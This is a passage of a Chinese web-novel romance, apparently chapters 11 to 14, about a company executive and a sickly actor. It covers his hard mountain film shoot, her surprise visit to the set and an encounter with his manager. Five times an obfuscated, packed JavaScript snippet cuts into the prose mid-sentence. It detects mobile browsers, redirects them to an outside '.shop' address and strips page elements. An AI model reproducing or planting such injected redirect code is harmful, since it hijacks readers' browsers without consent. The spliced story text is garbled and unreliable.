美好的早晨,程书仪心情还不错地在办公桌前坐下,端起咖啡的同时打开好久没刷的超话,第一眼就看到一条热帖:刚才歌歌在片场晕倒了! 她手上一抖,杯子径直落在桌面上,发出好大一声。 程书仪抽了张纸慢慢擦净桌面溅上的几滴咖啡液,点开了那条视频。 视频里是片场的一幕,祁歌站在马路边上,头上似乎破了个口子,血沿着额角糊到了下巴。 他跟女主说了句什么,接着点了点头,又闭着眼轻微地晃了晃头,整个人都站不太稳,在女主的搀扶下倒在了地上。 程书仪长长松了口气。 原来是演戏,吓死人了。 标题党能不能滚粗超话! 翻了翻评论,和她想法一致的粉丝很多,骂得够解气。 翻着翻着又看到有人说,歌歌这次好像病了好久,昨晚还在嘴硬。 程书仪毫无包袱地在下面敲字回应:怎么嘴硬了?求补课。 别问,就是想看。 没过一会儿她就收到提示,粉丝给她发了一个视频链接,是祁歌晚上收工回酒店,顺手收了下粉丝的信。 有粉丝问:歌歌病好了吗? 祁歌愣了一下,斩钉截铁目光坚定地对着摄像头回答:“我没病。” 程书仪不由失笑。 这病难道真能被他这大义凛然的姿态吓跑吗? 怎么这么多年了还是这幅逞强的样子。 她又想起祁歌昨天说,想见见自己。 这话如果是从前的祁歌说出来的,八成是在昧着良心撒娇,可以随便怼两句回去。 但这次听到,她却有些听而生畏。 这样梳理一番,程书仪突然有些不服输起来,怕什么,那家伙还能、还能吃了我吗? 来回横跳一上午,到底是没有主动给祁歌发去自己时间安排的消息。 那就……再放放吧。程书仪决定还是专心投入工作,毕竟这事儿她比较擅长。 再收到祁歌的消息是晚上,祁歌语气挺客气地询问她第二天有没有空闲时间,这边的戏份结束了,隔天就要转场。 “想把衣服还给你,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578268|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得谢谢你。”祁歌这样说。 程书仪条件反射地在输入框里打:“不用还了……” 打了一半又觉得这会不会被理解成拒绝见面的意思。 于是又一个个删掉改成:“其实没关系的,那明天下班后?” “好,我提前去你公司楼下等你。”祁歌回道。 程书仪把手机息了屏,忽然觉得祁歌和之前真的不一样了。 如果是之前的祁歌,可能会可怜巴巴地站在哪里独自等她,打通电话以后大声让她往外看,等她来到面前再笑嘻嘻地撒个娇,说没什么,就想等你一会儿。 现在的祁歌虽然看上去仍是可怜巴巴的样子(甚至更可怜了!),却似乎总在犹疑和后退。 好像是在……怕什么? 难道自己这几年变得有威严了,让人害怕了? 程书仪脑补了一下自己扮成霸道总裁对祁歌强取豪夺的样子,一秒破功。 完了,这脑子一天到晚是一点都不听使唤。 结果第二天程书仪的临时会议稍稍延迟了点,她给祁歌发了消息说在咖啡厅等她一会儿,稍晚一点。 “没问题。”祁歌回道。 一见面祁歌就先把那件大衣递了过来:“我给你洗好了。” “其实你留着穿就行,”程书仪没接,“你穿着很好看。” 她说这句话纯属实事求是,但祁歌的脸颊立刻就染了红。 “还是还你吧,我这马上进山了,每天邋里邋遢的,”祁歌笑着替她放在车里,“去哪儿坐会儿?” 程书仪挑眉:“去喝两杯?你身体怎么样,还行吗?” “行,怎么不行,”祁歌斜乜了她一眼,却放软了语气,“我喝苏打水。” “你那消炎药还没停啊,”程书仪看了看他的脸色,“复查了没有?” “看过了,医生说快好了,再补几天药巩固一下。” 祁歌说完,稍稍凑近望着她笑了笑:“谢谢程总关心。” 程书仪被迫往旁边歪一大步,感觉自己耳朵也有点热了。 两人找了个清吧坐定,要了鸡尾酒和苏打水。 “这算是……再说一次再见吗?”程书仪把玩着桌上的烛台。 祁歌却没答言。 他好像不小心听着音乐发起呆来,双眼望着程书仪,仿佛要用目光描摹她的轮廓。 程书仪只抬眼对视了一瞬,又赶快放低了目光。 什么情况,现在到底谁怕谁啊? 祁歌回过神来叹了口气:“书仪,这些年我常常想起你。” 这话程书仪是信的,祁歌就是这样一个敏感又多思的人,什么事都爱往心里去。 她自己就不一样了,这几年忙着搞事业,想起祁歌的次数屈指可数。 “其实……我们这样也……”程书仪挣扎着说了半句话,却被祁歌阻止了。 “程书仪,你再想想,可以吗?”他郑重其事,却又有些哀婉地说。 “我一点都不急,只想拜托你,花点时间再想想。” 他这话说得十分委婉,程书仪却神奇地听懂了。 听懂了之后,再看向面前近在咫尺的人,忽然就有些坐立不安起来。 祁歌抬手看了下表,拿起面前的杯子将杯里的水一饮而尽。 “抱歉,”他说,“我得去赶飞机,下次回来,一定和你补上这场酒,好不好?” 程书仪愣了愣。 她这才发觉,自己从始至终都没问过祁歌的行程安排。 而祁歌什么也没说,就这样安静地等着,现在还在对她道歉。 她看着那双漂亮的、映着盈盈火光与闪烁灯光的眸子,只得点了点头。 12. 开视频 最近一段时间某公司总裁程总的业余爱好,从观摩某三线演员超话,变成了视奸阿远的微博小号。 阿远前段时间用小号在超话里上蹿下跳,自己主页里又有许多工作相关的吐槽,并不难被认出。 程书仪悄悄关注了她,每天时不时来看看近况。 最近阿远的更新频率变少了许多,但一如既往以吐槽为主。 什么山里才春天就蚊子成灾,拿电蚊拍在外面置景灯周围挥舞一圈就能听到放鞭炮的声音。 什么某个传说中的绝美外景车都开不进去,一脚泥一脚水往里蹚,好在老板嫌她碍事把她留在车里等,上苍祝福老板。 还有什么南方的虫子比北方大三倍,突然落在戏服上吓得某演员原地跳了一米多高。 程书仪看得有点心痒痒,一方面觉得他们挺不容易,另一方面又觉得这种片场才是自己想去参观体验的。 听起来就很新鲜很刺激。 由于祁歌进了山,通讯变得不便,之前每天在超话的几句闲聊就暂停了,群里从早到晚都是些粉丝们表达思念的声音。 程书仪发现自己没办法像那些小粉丝一样,每天哀嚎着将思念宣之于口。 但总归还是被感染了些,有了那么点相似的心境。 这么想着,几天没动静的祁歌好似心有灵犀,忽然发了消息过来,当真拍了好大一只虫。 “听说是这边山区特有的种类,给你看看。” 程书仪翻着白眼回复:“大可不必好吗!” 她有心想问一句祁歌的近况,又有点担心,怕那个她还没来得及回答的问题忽然又被摆在面前。 但祁歌下一句已经来了:“今天从山里出来半天,总算有信号了。” 听起来是在为几天都没联系而解释。 程书仪想,既然这么不容易,怎么也得多聊两句吧,于是问了问他在剧组的情况,吃得怎么样。 “别提了。”祁歌又发来照片,是山路上一辆小皮卡的背影。 “?”程书仪提出疑问。 “我的饭,”祁歌解释道,“在外面吃饭没有桌子,放在车后面平台上刚吃两口,我去拿个水,一回头车开走了。” 程书仪点开图片放大,果然在车后面看到一份装在四格塑料盒里的盒饭,拆开的一次性筷子还摆在上面,就这样远去了。 “你们这条件也够简陋的。”程书仪评价说。 “没办法,在山里嘛,你……方便视频吗?” 程书仪没回复,直接点开了视频通话。 通话杂音很大,画面里映入眼帘的首先是一头乱发。 几秒钟之后乱发的主人抬起头,才露出祁歌那双明亮的眼睛。 原来刚才他是在整理发型。 然而在他此刻所处的环境中,整理发型实在没有什么意义。也不知道他在什么地方,风大得惊人。 “书仪!”祁歌说话要用喊的,“给你看我在哪呢。” 他把镜头翻转过去,给程书仪看他周围的环境。 他们好像在一个类似小县城的地方,街道两边的建筑有高有矮,草木凌乱,电线杆横支斜出的牵起黑色的线条。 祁歌正坐在一个三轮车上,颠簸地前行。 “你这是拍戏需要,还是就这条件啊?”程书仪大为震撼。 祁歌便又把自己的脸切回来,对程书仪笑:“没,今天跟剧组来镇上转一圈,剧组的车在市场那边,我要自己去买点东西,这儿也没个出租车,找了个老乡载我一程。” 这个镇子想必不太大,说话间就到了,他便跟程书仪说下次再聊。 挂了通话后,程书仪想想还是去关心了下阿远,问有没有需要什么东西,自己可以支援一下。 看祁歌刚才的状况,虽然不知道怎么回事,但似乎很需要人道主义救济的样子。 那阿远一个小姑娘在这种地方,岂不是更加凄惨。 阿远很快回复过来,说其实还好,今天跟着祁歌被特批了假,下山看病中。 “看病?他又咋了?” 阿远这次发来语音,说祁歌胃病犯了好些天,药都吃完了实在撑不住,导演给了半天假,跟车来镇里看看买点药。 程书仪二话没说再次给祁歌发了视频过去。 祁歌是用语音接的。 “开视频。”程书仪就三个字儿。 这次镜头打开环境变成了乡镇小诊所,祁歌的笑容也变得心虚了不少。 “怎么生病了不说?”程书仪严厉问他,“严重的话还是得找个医院看看。” 祁歌摇摇头:“老毛病没事,就是错估了这边片场的荒凉程度,药有点带少了。” “哦,那这里能看吗?有药吗?”程书仪努力打量着屏幕里的周围环境,试图看出点什么蛛丝马迹。 “都有的,就等着拿药了。”祁歌说着,镜头微微晃动了几下,程书仪看出是他走了几步,坐在了墙边的椅子上。 那个椅子是一些医院常用的不锈钢候诊椅,看起来触感又硬又冷,和医院国际部候诊区那种沙发肯定差远了。 祁歌轻轻地调整了一下呼吸,俯身用手肘撑在膝盖上望着她。 程书仪叹了口气:“疼这么厉害啊。” 祁歌愣了一下,眼圈忽然就红了。 他也不知道为什么,只有程书仪会给他这种明明不想报忧,却又忍不住想索求关爱的感觉。 在山里拍戏总是艰苦,为了早点拍完,每天赶戏赶得所有人都在精神崩溃的边缘,拍太晚的时候,还在帐篷凑合过几晚。 由于要穿层层叠叠的古装,演员们不敢喝水,一天下来只抿一两口润润嗓子。 但这些都没什么,是正常的工作而已,祁歌不会觉得苦。 甚至包括要拍吃戏,他也会敬业地按照要求努力做到,不管是要反复吃几遍,又或是要假吃些已经有些变质的东西。 “哎呀抱歉,放久了可能。”导演还解释了一句,“你不行就意思一下好了。” “没事,”他笑着抬头,“人物这个状态得真吃,我嚼完再吐掉,可以吗?” 后来当然是拍好之后自己又找地方吐了一回。 这么折腾一遭,胃病不犯才奇怪。 坚持拍了两天,导演都看不下去,挥手放他去看病休息。 时间有限,阿远这次跟着祁歌一起下来,被留在小超市购买物资。她拿了几桶泡面几包饼干几盒速食汤粥,跟着买完东西的剧组的车去诊所接祁歌。 一下车就看到祁歌裹着衣服微微弯着身子从诊所走出来,对他们挥挥手,又跟自己手机屏幕那边的人温柔道别:“我回去了,别担心,真没那么严重。” 阿远刚才还奇怪程书仪在微信跟她聊了两句就没再回消息,原来是直接兴师问罪来了。 该,这人就得有人管着才会乖。 进山的路蜿蜒曲折,路上祁歌脸色就不太好,下车又去吐了一遍,差点没站稳栽下去。 “我的哥啊,”阿远大呼小叫地扶住他,“你别戏没拍完人折在这里了!” “瞎说什么,”祁歌笑着骂她,“盼着我点好吧!” “冤枉啊,”阿远拎着大包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578269|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小包控诉,“微臣誓死表忠心啊!” “拍古装把你也变成古人了,”祁歌接过她手里比较重的袋子,“对了,你能不能别一天到晚跟程书仪告状?” 阿远瞪大眼睛:“天地良心,完全没有一天到晚!我只是不会撒谎有问必答而已。” 有问必答? 那就是……程书仪主动去问的了?祁歌心里忽然有点开心。 “……而且她还给我发红包。”阿远小声念叨。 “什么?”祁歌走路一个急刹车,两人差点撞在一起,“你刚才表的忠心呢?” 阿远腾出一只手摊平伸在祁歌面前。 “干什么?”祁歌警惕地退了半步。 “给我钱,谁给的多我忠于谁。”阿远理直气壮。 “没良心!”祁歌伸手狠狠跟她击掌。 在祁歌被大山囚禁的日子里,超话里又有件事获得了较高的关注度。 说的是祁歌之前在某部剧里演过一个小配角,这部剧最近上线,祁歌演的角色受到了挺多讨论。 很多人都说他长得好看,演技也在线,不知道从哪冒出来的。 粉丝便顺势安利起来,扔出了已播作品若干。 本来这算是挺正常的网络交流,没想到这部剧的主演粉丝不干了,说祁歌一个龙套演员买营销想掀桌。 天哪,这桌是这么好掀的吗? 祁歌的粉丝当然也不太乐意,于是一来一去争执了一阵子,直接被人有组织地屠了超话。 粉圈的这种行为都是有预谋有方案的,搞事清一色用的小号,说理都没处说去。 祁歌的粉丝气得要爆炸,奈何人数少了太多,实在无能为力。 理论上说,这种事情祁歌的工作室应该会出面管一管,再不济公司也会插个手。但事情发生两天了,也没看到有人在控制事态的迹象。 程书仪仔细想了想,又觉得也想得通。 这种状况好像正好符合粉圈中的“虐粉”,理论上经此一役,能够培养许多忠粉,今后会誓死追随下去。 这不,因为商务代言销量不算高,超话里的粉丝有不少已经在氪金给祁歌代言的商品充流量了。 闹了几天,群里终于弹出提示,正主空降了。 可能信号还是不行,祁歌只发了几句文字出来: “好了没事儿,那部戏本来就是客串,也没想争什么,不要因为这件事不开心。” “最近拍戏不太有条件经常回复大家,你们好好生活,照顾好自己!” 可能确实信号堪忧,祁歌说完两句话就再也没其他消息了,下面粉丝倒是七嘴八舌又建议起来: “歌歌也照顾好自己!拍戏辛苦了!” “加油干,咱们以后也是男主了,不受这冤枉气。” 程书仪也混在里面乱出主意:“其实可以考虑联系那个剧的男主互动一下吧,粉丝肯定会消停点。” 这句话一出就被很多人指责了:“不要带别家好吧,专注自家这么难吗?” “他要愿意解围,粉丝会这样吗?” “说了专注自家专注自家听不懂是吧。” “这人怎么回事,要不要踢出去啊!” 程书仪吐了吐舌头,赶紧撤回发言:“我是新人,不太懂,以后不乱说了。” 再乱说就得被迫换个小号了。 她想起之前祁歌也遇过类似情况,她还建议过要不要找好一点的公关公司来处理,祁歌却不愿意,说这样就像是认输了似的,最终只能不了了之。 可能这一次最后也差不多吧。 13. 泡水喝 程书仪简直不敢相信,自己是真的在考虑去千里之外的省份深山里探班的可能性。 怎么说,这挺不理智的。 毕竟人家是工作,自己是去干什么,登山游玩吗…… 但想想祁歌惨兮兮的样子又有些不放心,感觉这几年他可是把自己好一顿折腾,这段时间几乎就没有哪次接触时是健康的。 程书仪知道祁歌这人,一旦自己真的有事就会遮遮掩掩。遮掩就算了,还总要漏一个让人想要探究的苗头,挠得人心痒痒的。 山上那地方缺医少药,程书仪想着,就算自己过不去,至少也得找人给他捎点东西过去。 她这边还没计划出所以然,却先收到了一个包裹。 周末程书仪和朋友去市郊度假了两天,回来就看到一个不算大的包裹被放在门口,寄件地址赫然是祁歌拍戏所在的地方。 看上面时间,应该是祁歌那天在镇里给她寄的。 程书仪狐疑着打开,映入眼帘的先是些皱巴巴用作填充物的报纸。 感觉好多年没见过这种报纸了。 程书仪把它们取出来放在一边,里面包裹着的是一小包用装在塑料袋里的东西。 解开袋子之后,里面露出的是硬质的一颗颗不规则球体,颜色偏暗红,上面有些尖刺感的毛毛糙糙,像是有刺的山楂。 包裹里没有任何说明,程书仪愣了半天,不知道这是给自己吃的还是做什么。 她打开微信给祁歌发去一个问号。 没过一会儿那边回了消息过来: 本地产的刺梨干,洗一下,泡水喝 原来如此。 程书仪回了谢谢,祁歌没再回复,大概是在忙。 说实话,这种感觉还挺不习惯的。 以前在他们的相处中,一般程书仪是较为忙碌的那个。 随着夜幕降临,山里的环境逐渐安静下来。 鸟叫和虫鸣渐次隐去,就连风拂动树叶的沙沙声都被压低了,弄得人昏昏欲睡。 祁歌使劲眨了几下眼睛,逼迫自己清醒一点。 今天的夜戏拍的是段甜蜜的剧情。 “怎么回事,灯光再调一下,主演找找感觉,画面也太生硬啦……”导演从对讲机里发来指示。 这个画面拍得不容易,要穿过一大片草地来到峰顶。 剧本里的男女主二人刚刚暂时摆脱追杀,获得这难得的片刻安宁。 萤火蔓草之间,他们背后万峰攒簇的阴影如同温柔怀抱,庇护天地间的这一对恋人。 气氛很好,场景到位,就是不知道哪里还差一点,他们俩都不算入戏。 这几天温度爬升,即使是夜里也并不怎么寒冷。除了绕着灯乱飞的蚊虫,没有什么可见的阻碍。 祁歌伸手接过场记手中的导演对讲。 “导演,我是祁歌,刚才那遍演得是不是太收着了啊?” “啊对对,”导演的声音滋滋啦啦地传过来,“你现在其实非常开心,也非常担心,你都要呈现出来。” “好,”祁歌答应着,“还有之前带伤的状态,其实还是有点虚弱对吧?” “啊对对,但是那些其实都顾不上了,因为这是最后的时间,明白吗?这可能是你最后的时间。” “我明白了,谢谢导演。” 祁歌交还了对讲,低头准备开拍。 最后的……时间吗? 他想起他和程书仪分别前的时候。 倘若再给他一次机会,他会否有不同的选择? 或许不会吧,他想。 人被困在某种境遇中时,其实不太能跳出时间,做什么所谓更好的抉择。 就像眼前这场戏,如果明知道马上就是永诀,那用理智分析,应该给彼此一点温馨和平静,好好度过这一段时光。 然而故事中的人却不是这样,他们绝望而狂喜地互相抱紧,又决绝而满怀希望地互相推开。 希望这痛苦能还对方一个莫测不明的未来。 这场演完之后祁歌没忍住流了好一会儿眼泪,卸妆回酒店之后冰敷到睡着。 第二天早上还是肿了。 好在这天要搭景,上午不用过去,祁歌在床上躺了会儿,起身冲了点速食的麦片,百无聊赖地站在卫生间刷牙。 牙刷到一半有人敲门,八成是阿远又有什么事要传达,或者有什么东西要分享。 于是打开门看到程书仪的那刻祁歌当场石化。 “你……”他想说话才发现牙刷还含在嘴里,嘴里还有泡沫也不能直接吐掉,自己才刚从床上爬起来,屋里绝对不是可以见人的状况。 他把门又关上了。 等等,好像这样也不太好。 他又把门打开了。 “行了,”程书仪实在忍不住笑,率先说了话,“我先回房间了,你慢慢收拾。” 阿远从她身后伸出头冲祁歌做了个鬼脸。 阿远,你死定了。祁歌用眼神传递着讯息。 他回到卫生间迅速进行一番飞速洗漱收拾,又飞跑进房间将床铺和乱扔的东西一通归置,最后找到被扔在矮柜上的手机,一按亮屏幕就看到上面阿远的一排消息。 消息从下到上按照时间顺序排列,说程姐来这边探班了,昨晚到了市里很快就过来这边了,你起了没看来是还没,接到程姐了,那我先带她去开个房间吧,程姐说要去喊你了哥,哥……救不了你了。 好吧,看来她努力救来着,暂时留着吧。 刚刚逃脱了被灭掉命运的阿远在程书仪的房间里转了一圈:“程姐,这是山下这个村招待所规格最好的房间了,这还是剧组过来住特意弄了弄,确实简陋,你要是住不惯,也可以今天去山里玩一圈然后先回市里住……” “有什么住不惯的,”程书仪摆摆手,“什么样的地方没住过,总比帐篷条件好吧。” “啊,你还住过帐篷?” “对啊,有个朋友特别喜欢登山,经常喊我一起。” 说话间,程书仪已经把自己双肩包里的东西都收拾出来摆在了外面,又打开行李箱拿出好大一个袋子:“这些给你的。” “给我的?”阿远受宠若惊地双手接过。 “对呀,这边不是生活不方便嘛,我给你带了些便利小物,什么驱蚊驱虫的,一次性的鞋套雨衣,干洗的除菌的,还有这种超亮的小手电筒啥的,都是很便宜那种,用完就扔!”程书仪直接打开袋子一一给她介绍。 阿远热泪盈眶:“程姐,你也太好了!” 她这句的话音还没落,程书仪又拿出了更大的一个袋子:“这些是药品补给,也先收在你这里吧?最好不要一下子全给了祁歌。” 阿远猛点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578270|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,说要是全给了他的话,不是被放在哪里忘记拿就是没节制地全靠吃药顶着。 “嗯……说起来,我一直想问,”程书仪拉着阿远坐下来,“祁歌现在身体怎么这么差的,他这些年干什么了?” “这个……”阿远有点遗憾地答道,“我还真不清楚,我是这部戏才从公司过来跟着祁哥的,其实……” 她说到一半忽然刹住了车,没接着说下去,转而去看袋子里的东西。 程书仪也没接着问。 她一直猜想祁歌这些年遇到了不少问题,但从职业走向看,似乎发展得又还不错。 虽然如今不算流量很高的演员,但公司给他争取到了不少角色,大大小小的这几年也没闲着。 有作品,粉丝也就慢慢地积累起来,现在超话不也挺热闹。 如果只想小富即安的话,现在也算一个令人满意的状况。 或许祁歌其实还是想要往更高处走去的。 她之前就跟祁歌说过,在这个世界上,一个人的能力是有边界的。 但只要有决心,就会有办法。 那现在呢,祁歌还会有那份决心吗? 她们之间短暂的沉默并没维持多久。 祁歌过来敲门时已经恢复了平时翩翩公子的外表:“不好意思啊,刚才确实太突然了。我昨天回来太晚了,手机乱扔……坏习惯,立刻改。” 他这番忏悔十分真情实意但对阿远来说实在过于罕见,以至于阿远有点想看看他是不是又发烧了。 程书仪则定睛打量着他:“眼睛怎么肿了?” “昨天晚上拍一场哭戏,”祁歌有点不好意思,“有点没收住,我感觉我化妆师一会儿得打我一顿。” “我也觉得,”阿远也跟着仔细看他的脸,“哥你最近瘦得有点快了,昨天导演还说怕不接戏了。” “没事,古装和现代看着有点差别也正常,”祁歌说完又忽然补了句,“也没瘦太多其实。” 他冲程书仪笑了笑:“走吧,请你吃农家乐。” 他也没问问程书仪为什么会来,来做什么,好像全都懂似的。 阿远撇了撇嘴,拎着一袋子药想说话又找不到气口。 “好啊,你们今天几点拍?”程书仪回头去拿包,从善如流地问。 “还没通知,估计中午之后吧,今天有个挺麻烦的景,”祁歌退了半步让程书仪出来,“昨晚那个景也很漂亮,我拍了照片,要看看吗?” 两个人并肩就这么走远了。 “喂,”阿远在后面无语地提醒,“我回趟房间,你们……” “啊,我们楼下等你?”程书仪回头问。 “谢谢程姐,”阿远皮笑肉不笑,“我吃食堂挺好的,一会儿还能补个觉。” “阿远你记得帮我报备一下书仪来探班的事,”祁歌一点没反对她吃食堂的打算,“要是车上没位置,你今天就别去了。” 阿远无语地看着他。 我不去?我不去您老一会儿中暑头晕一会儿低血糖一会儿胃难受谁管你,啊? 阿远微笑着挥手,把这些话咽回肚子里。 算了,今天程姐在,给你点面子。 她一转身手机就响了一声。 高姐:你们在哪个宾馆住?我今天过来片场看看。 阿远瞬间瞳孔地震。 14. 上青云 这山里风景真好,空气也新鲜。程书仪说。 刚才吃的农家鸡味道还不错,现在很多这种散养鸡在市里也能买到。程书仪说。 今天会拍夜景吗,山上没有电你们怎么打灯啊?程书仪问。 原来要拍那个庙啊,是不是很古老啊算文物吧?程书仪问。 你们拍一个场景要运这么多东西上来啊?我也去帮忙吧!程书仪说。 “你别、不用,你自己小心……一点,就行。”祁歌说。 刚才车子开到片场附近,他们被通知后面的路要自己走上去。 程书仪刷的一声掏出折叠登山杖走得飞快,祁歌努力又努力实在跟不上,只能掉在后面,等着程书仪大发慈悲能在路边等他们一会儿。 ——看起来希望很渺茫。 阿远悄悄跟祁歌说小话:“哥啊,一会儿高姐来了,你怎么解释?” 祁歌摇摇头:“高姐不会爬上来的,没事,下去再说吧。” “……行。” “啊对了,天黑前你和书仪一块下去,要是她回市里,你就跟她一起……” “但是程姐说她住那儿可以的。”阿远说。 祁歌没说话,又努力向上走了几步,再次停下补充道:“反正我拍夜戏,你们要是碰上高姐……” “天哪……”阿远想想那个场景只想抱头鼠窜。 “还行吗?”祁歌友好地问她,“要不再歇会儿?” “哥你要是想歇可以自己歇,不用拿我当借口。”阿远尖锐指出。 “我是为了等你好吧,”祁歌叉腰指着山顶,“这么几步路我分分钟就上去了。” 阿远对他翻白眼。 “说真的,”祁歌好言劝道,“欣欣老师的团队还在后面,一会儿你们可以一起上来。” “那行吧,”阿远在路边坐下来对他挥挥手,“知道你追程姐心切,去吧。” 她说这话的时候并没有夹杂什么额外的含义,但祁歌动作一顿,耳根可疑地红了。 阿远望着他忽然矫健了许多的背影长叹了口气。 有的人为了抛弃电灯泡真的什么事都干得出来。 程书仪走到山顶后没多久,祁歌终于气喘吁吁地跟了上来。 “跑这么快干什么,”程书仪笑他,“不是说还没到开拍时间。” 祁歌上气不接下气地摆摆手:“你一个人,我总得……” 他说不下去,干脆把两手撑在膝盖处,弯下腰辛苦倒气。 “哎哎哎,”程书仪赶快关心起来,“没事吧你,再把你累着了,我不成了千古罪人。” 祁歌保持着这个姿势抬头对她笑:“没错,就是你。” 这个动作使他们的距离一下子拉得很近,程书仪条件反射地退了半步。 祁歌直起身,伸手拽了她一下:“台阶很窄,小心点。” “祁老师上来啦?欣欣老师也快了,你先换衣服吧!”有工作人员招呼道。 祁歌嘱咐了程书仪两句,先跑去穿戏服了。 程书仪留在原处看了会儿风景。 这里好像是附近这片山峦的最高处,从这里看去,颇有一览众山小的意境。 今天的拍摄现场是个山顶的古旧建筑,据说曾经是个道观,如今已荒废多年。 为了拍男女主一场偶逢奇遇、走出绝境的戏,也是难为剧组找了这么个地方。 “哎,你是哪个组的?”有位男性工作人员问程书仪。 “哦我是……”程书仪解释道,“我是祁歌的朋友,需要帮忙吗?” 问话的工作人员抬着个看起来很重的箱子,不知道要搬去哪里。 “啊不用不用,女的还是离箱子远点比较好。”那位不甚在意地咧嘴一笑,招呼其他人帮忙搬运了。 程书仪转而观察了一会儿整个剧组。 这会儿灯光都架得差不多了,整个场景也基本搭好,有两位配角演员已经在候场。 虽然听说要拍的镜头不算太长,但导演很是认真,要求画面达到预期才能通过。 “这场戏很重要,是结局前我们最后一个外景了,大家都认真点。”有喇叭的声音传过来。 程书仪走到片场旁边仔细看去,那道观里面残破不堪,被临时安置了几片纱帘和几个蒲团,这会儿正有人在给蒲团做旧。 “窗边地上弄点干草,一会儿小道士就躺在那里。” 有工作人员匆匆出去,不知道从什么道具里薅了一大捧细长的麦秸,乱七八糟地铺在地上。 “做一下,不能太新了。”有人命令说。 怎么做?程书仪饶有兴致地看着。 只见那位工作人员自己先坐上去滚了两下,又弄了些湿润的泥土擦在上面,再重新坐了坐,将这草窝上弄出个深色的坑。 她看得津津有味,没留神一个人忽然站在他后面,声音压低了在她耳边说话:“看什么呢?” 程书仪一回头才看到祁歌一脸坏笑,没忍住打了他两下。 孩子学坏了! 天色快要暗下来时,今天的戏终于拍了第一条。 这段戏其实比较简单,但夜景拍摄涉及的配合比较多,看上去怎么也得拍到深夜。 祁歌早早就劝程书仪和阿远跟着下撤的工作人员下山去。 程书仪想着这毕竟算是个野山,自己和阿远一起下去相对安全些,也省得祁歌挂心,就答应了。 事实证明阿远是真的怕虫子,任何一点风吹草动都会让她全身应激地一缩,或者毫无预兆地大叫出声。 一来二去几次,程书仪已经对她完全免疫了,不管阿远做出什么反应都可以冷静以对。 所以车子快要开到招待所门口时,阿远忽然的全身紧张她也没当回事。 结果一下车就看到一位干练的女性抱臂站在大门口。 阿远顿时像耗子见到猫一样开始阿巴阿巴。 想必……这位是阿远的老板之类的。 程书仪跟阿远使了个眼色,示意自己先上去。 阿远却看都没看她一眼。 由不得程书仪诧异,阿远这会儿满脑子都是心虚。 其实高姐前两天给祁歌和她打过不少电话。 公司那边对祁歌这部戏还算看好,觉得有望趁机把祁歌的资源和片酬都提一提,便做了一些宣传方案。 比如在花絮镜头下和女主欣欣多点互动,炒炒CP。现在多积攒点素材,等电视剧上线后慢慢放出一些,看看效果。 CP卖得好,说不定真能平步青云。 其实这个提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578271|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议不算过分,也没有把话说死,只是想留下点宣发的可能性。 奈何祁歌充耳不闻,反正就是一个知道了没时间不配合。 高姐气得不行,来来回回说了很多次。奈何正好祁歌这段时间身体不太舒服,戏又确实排得紧,休息都休息不过来,电话也不好好接了,害得阿远惨而成为电话轰炸的第一受害人。 那可不跟耗子见到猫一样,心理阴影比地球面积还大。 阿远偷眼看了下高姐和程书仪,感觉这俩人应该是互相完全不认识。 那应该……还是有几率能混过去吧? 没想到高姐却在这时候开口了:“您好,请问贵姓?” 要完。 程书仪都快走进大门了突然被人搭话,愣了下才如实答道:“免贵,我姓程,是……祁歌的朋友。” 高姐笑了笑:“你好,我姓高,是祁歌的经纪人,有空聊聊吗?” 经纪人……吗? 程书仪不由打量了对方一眼,感觉对方和自己年龄差不多,看上去又很强势,和祁歌的气场真是太互补了。 “可以啊,”程书仪说,“去哪里?” “我房间?”高姐提议道。 程书仪点头:“好,那我要先回去换一下衣服和鞋,刚才山上弄的都是泥,我怕把你房间弄脏。” “那不用麻烦了,我们去你房间吧。”高姐说。 “那当然好。”程书仪和她并肩走向电梯,不忘回头招呼阿远:“阿远你来吗?” “她也来。”高姐代为答道。 阿远一声没吭,默默从边缘滑入电梯角落。 程书仪皱了皱眉,感觉自己已经开始忧虑起这个公司的工作氛围了。 